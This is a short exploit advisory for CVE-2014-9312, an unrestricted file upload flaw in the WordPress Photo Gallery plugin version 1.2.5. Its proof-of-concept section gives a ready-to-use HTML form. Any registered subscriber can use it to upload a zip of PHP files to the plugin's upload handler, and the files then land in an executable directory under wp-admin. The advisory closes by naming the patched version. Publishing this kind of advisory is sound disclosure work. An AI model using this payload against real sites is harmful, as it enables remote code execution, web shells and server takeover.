WordPress Plugin Photo Gallery 1.2.5 – Unrestricted Arbitrary File Upload
# Exploit Title: Photo Gallery 1.2.5 Unrestricted File Upload # Date: 11-11-2014 # Software Link: https://wordpress.org/plugins/photo-gallery/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # CVE: CVE-2014-9312 # Category: webapps 1. Description Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html 2. Proof of Concept Login as regular user (created using wp-login.php?action=register). Pack .php files into .zip archive then send it using: <form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data"> <input type="file" name="files"> <input type="submit" value="Hack!"> </form> Your files will be visible inside: http://wordpress-install/wp-admin/rce/ 3. Solution: Update to version 1.2.6 https://downloads.wordpress.org/plugin/photo-gallery.1.2.6.zip |